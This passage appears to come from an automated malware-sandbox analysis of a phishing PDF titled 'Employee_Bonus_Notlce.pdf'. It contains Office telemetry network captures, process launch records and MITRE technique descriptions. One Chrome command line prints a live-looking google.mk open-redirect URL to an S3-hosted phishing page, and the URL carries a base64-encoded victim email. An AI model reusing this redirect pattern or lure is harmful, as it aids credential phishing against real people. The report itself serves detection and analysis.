N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:38 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 3201b34b-401e-000a-7601-454a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165539Z-174f7845968n2hr8hC1EWR9cag00000015sg00000000snss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:39 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:39 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 68e9c15b-c01e-002b-1eed-446e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165539Z-174f7845968xr5c2hC1EWRd0hn0000000r2000000000cyf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:39 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:40 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:40 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: cf1b24c6-801e-00a0-09d5-432196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165540Z-174f7845968j6t2phC1EWRcfe800000016b000000000gm7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:41 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:40 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:41 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: cf538c1f-301e-000c-1ef7-44323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165541Z-174f7845968kdththC1EWRzvxn0000000ke000000000xwe0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:41 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:40 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:41 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 5818dd1d-501e-0035-4638-40c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165541Z-174f7845968jrjrxhC1EWRmmrs00000016eg000000001g5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:41 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:41 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:41 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 24e5792c-101e-008d-7f47-4192e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165541Z-174f7845968vqt9xhC1EWRgten000000169g000000008he9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:41 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:41 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:42 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:41 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21a32f9a-a01e-003d-21b4-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165541Z-174f78459684bddphC1EWRbht400000015w000000000r10p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:42 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:43 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 49af129b-801e-00a3-1af3-447cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165543Z-174f7845968nxc96hC1EWRspw80000001610000000004a72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:43 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:43 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:43 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 1ade8e34-501e-008f-20ab-429054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165543Z-174f7845968pght8hC1EWRyvxg00000009eg000000001d8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:43 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:43 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:43 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 1402e90e-d01e-0049-106c-43e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165543Z-174f7845968frfdmhC1EWRxxbw000000167g00000000g0gn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:43 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	11:53:43
Start date:	03/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Employee_Bonus_Notlce.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:53:44
Start date:	03/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:53:44
Start date:	03/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1612,i,174092131343990253,18281594203007401030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:53:47
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.mk/url?q=lfarrera@wes.org&wes.org&sa=t&url=amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html#bGZhcnJlcmFAd2VzLm9yZw==
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:53:49
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1996,i,18016529301034544980,10906069851413136034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
